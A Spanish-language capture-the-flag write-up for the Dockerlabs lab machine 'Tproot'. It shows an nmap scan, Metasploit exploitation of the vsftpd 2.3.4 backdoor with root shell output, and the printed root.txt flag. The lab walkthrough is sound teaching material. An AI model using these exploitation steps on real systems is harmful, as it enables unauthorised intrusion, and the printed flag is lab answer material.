# 🙉 Write-Up: Máquina "Tproot"

Plataforma: Dockerlabs P Dificultad: Muv fácil Autor: Joaquín Picazo

## Metodología de Pentesting

El proceso se realizó siguiendo la siguiente metodología:

- Reconocimiento Recolección de información general sobre la máguina objetivo.
- 2 Escaneo y Enumeración Identificación de servicios, tecnologías y versiones en uso.
- 3 Explotación Uso de vulnerabilidades encontradas para obtener acceso al sistema.
- 4 Escalada de Privilegios y Post-Explotación Obtención de permisos elevados hasta lograr acceso total para realizar una extracción de información.

#### 📡 1. Reconocimiento y Recolección de Información

Hago un escaneo general solo para ver los puertos abiertos.

```
-(cypher⊛kali)-[~]
-$ nmap -p- --open -vvv 172.17.0.2
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-21 13:58 -03
Initiating ARP Ping Scan at 13:58
Scanning 172 17.0.2 [1 port]
Completed ARP Ping Scan at 13:58, 0.12s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:58
Completed Parallel DNS resolution of 1 host. at 13:58, 0.15s elapsed
DNS resolution of 1 IPs took 0.15s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0
Initiating SYN Stealth Scan at 13:58
Scanning 172.17.0.2 [65535 ports]
Discovered open port 80/tcp on 172.17.0.2
Discovered open port 21/tcp on 172.17.0.2
Completed SYN Stealth Scan at 13:58, 3.47s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.000035s latency).
Scanned at 2025-03-21 13:58:30 -03 for 4s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
21/tcp open ftp
                   syn-ack ttl 64
80/tcp open http syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 4.08 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
```

#### @ 2. Escaneo y Enumeración

Hago un escaneo especificando puertos para encontrar sus servicios y versiones detalladamente.

```
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 64 vsftpd 2.3.4
|_ftp-anon: got code 500 "OOPS: cannot change directory:/var/ftp".
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Unix
```

Lo que puede llamar la atención, es la versión del servicio tcp, la cual es "vsftpd 2.3.4". Me parece que existe un exploit en metasploit para eso.

## 💥 3. Explotación de Vulnerabilidades

Busco en metasploit la versión encontrada anteriormente del servicio ftp.

```
Matching Modules

# Name
0 exploit/unix/ftp/vsftpd_234_backdoor

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 0
```

Ahora elijo la opción 0 (la primera) y debo ver que parámetros necesito otorgar para que funcione.

Ingreso los parámetros necesarios para que funcione y ejecuto.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 172.17.0.2
RHOSTS ⇒ 172.17.0.2
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 172.17.0.2:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 172.17.0.2:21 - USER: 331 Please specify the password.
[+] 172.17.0.2:21 - Backdoor service has been spawned, handling...
[+] 172.17.0.2:21 - UID: uid=0(root) gid=0(root) groups=0(root)
[*] Found shell.
[*] Command shell session 3 opened (172.17.0.1:33451 → 172.17.0.2:6200) at 2025-03-21 14:25:09 -0300
```

### 🔐 4. Escalada de Privilegios y Post-explotación

Finalmente se puede notar que ya ingresé con permisos de usuario root. Esto me permitió poder leer root.txt sin problema.

```
whoami
root
pwd
/tmp/vsftpd-2.3.4-infected
cd ..
cd ..
cd root
cat root.txt
261fd3f32200f950f231816b4e9a0594
pwd
/root
```

### Banderas y Resultados

- ✔ Root: Se ingresó con privilegios de usuario root.
- ✔ Bandera: Se obtuvo la bandera exitosamente al leer root.txt